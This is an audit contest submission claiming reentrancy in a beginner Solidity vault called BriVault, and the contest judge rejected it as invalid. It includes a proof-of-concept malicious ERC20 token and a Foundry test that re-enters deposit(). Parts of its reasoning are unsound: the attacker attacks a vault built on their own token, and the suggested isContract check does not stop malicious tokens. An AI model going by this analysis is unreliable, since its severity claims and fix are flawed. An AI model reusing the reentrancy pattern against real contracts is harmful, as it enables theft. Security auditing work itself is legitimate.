BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

Missing Reentrancy Protection in `deposit()` and `withdraw()` Enables Share Manipulation & Double-Withdrawal Attacks

xcryptoguardian

Description:

The BriVault contract performs external ERC20 calls before updating internal accounting, and it does so without a reentrancy guard.

  • Vulnerable patterns appear in both:

  • 1.deposit()

IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
​
// @audit reentrancy possible here
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
​
_mint(msg.sender, participantShares);

A malicious ERC20 token can execute a callback inside transferFrom(), calling deposit() again before:

  • stakedAsset[msg.sender] is updated properly

  • participantShares is minted

  • invariant checks are enforced

This allows attackers to manipulate share minting ratios (classic ERC4626 share inflation).

  • withdraw():

_burn(msg.sender, shares);
​
// @audit external call
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);

Attackers can re-enter during safeTransfer before state is fully updated, withdrawing multiple times or pulling more than their share of the vault.

Root Cause

  1. External calls (safeTransferFrom, safeTransfer) occur

  2. No nonReentrant modifier

  3. Internal accounting not updated before external interaction

  4. ERC4626 math depends on vault balances → easily manipulated during reentrancy
    This exposes classical ERC4626 share inflation, double withdraw, and state corruption vectors

Likelihood:

  • Reason 1:
    The vault supports arbitrary ERC20 tokens, meaning an attacker may provide a malicious token that triggers reentrant callbacks.

  • Reason 2:
    Both deposit and withdraw paths make external calls before effects, providing exploitable entry points for reentrancy.

Risk

The reentrancy vector in deposit(), cancelParticipation(), and withdraw() exposes BriVault to direct fund loss, corrupted share accounting, and broken winner payout logic. Because BriVault performs external ERC20 calls before updating critical internal state, a malicious token or contract-controlled address can reenter the vault mid-execution and:

  • bypass participation checks,

  • inflate shares,

  • withdraw more than entitled, or

  • drain the vault before winner finalization.

Since BriVault is a tournament-based vault where accurate share accounting determines reward distribution, any reentrant manipulation directly compromises fairness, reward integrity, and total asset correctness. This risk impacts the core economic mode

Impact:

  • Impact 1:
    An attacker can mint more shares than intended by re-entering during deposit() before internal accounting is updated (ERC4626 inflation exploit).

  • Impact 2:
    In withdraw(), attackers can withdraw multiple times or manipulate payout amounts before the function completes.

Severity: Medium → High depending on asset trust model.
Since vault allows arbitrary ERC20 transfer callbacks,

Proof of Concept:

Add this PoC to your existing BriVaultTest
It uses a malicious token that re-enters deposit() during transferFrom, minting extra shares

Malicious Reentrancy Token

Create a malicious token:

contract MaliciousERC20 is MockERC20 {
BriVault public vault;
bool public reentered;
​
constructor(string memory n, string memory s) MockERC20(n, s) {}
​
function setVault(address v) external {
vault = BriVault(v);
}
​
function transferFrom(address from, address to, uint256 amount)
public override returns (bool)
{
super.transferFrom(from, to, amount);
​
// Reenter ONCE during deposit()
if (!reentered && to == address(vault)) {
reentered = true;
vault.deposit(0.001 ether, from); // unexpected extra deposit
}
​
return true;
}
}

PoC Test

function test_Reentrancy_DepositInflation() public {
// Deploy malicious token
MaliciousERC20 mal = new MaliciousERC20("Evil", "EVL");
mal.mint(user1, 5 ether);
​
// Deploy vault using malicious token
vm.startPrank(owner);
BriVault evilVault = new BriVault(
IERC20(address(mal)),
participationFeeBsp,
eventStartDate,
participationFeeAddress,
minimumAmount,
eventEndDate
);
mal.setVault(address(evilVault));
vm.stopPrank();
​
// Approvals
vm.startPrank(user1);
mal.approve(address(evilVault), type(uint256).max);
​
// REENTRANCY TRIGGERED HERE
evilVault.deposit(1 ether, user1);
​
uint256 shares = evilVault.balanceOf(user1);
​
console.log("User shares after attack:", shares);
​
// Attacker ends up with MORE SHARES than 1:1 deposit intends
assertGt(shares, 1 ether, "Reentrancy inflated shares!");
vm.stopPrank();
}
​

What this demonstrates

  1. transferFrom() re-enters deposit()

  2. Internal state is inconsistent during reentrancy

  3. User receives extra ERC4626 shares

  4. Vault accounting becomes corrupted

This matches historical ERC4626 reentrancy attacks (e.g., TempleDAO, Midas, Alchemix).

Recommended Mitigation:

1. Add Reentrancy Guard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract BriVault is ERC4626, Ownable, ReentrancyGuard {
​

  • Apply it to:

function deposit(...) public override nonReentrant returns (uint256) {}
function withdraw() external nonReentrant winnerSet {}
function cancelParticipation() public nonReentrant {}
​

2. Use Checks-Effects-Interactions
*Rewrite deposit:

stakedAsset[receiver] = stakeAsset;
_mint(receiver, shares);
​
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
​

3. Reject Malicious Tokens (Optional)
If intended only for standardized ERC20s:

require(asset().isContract(), "invalid asset token");
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!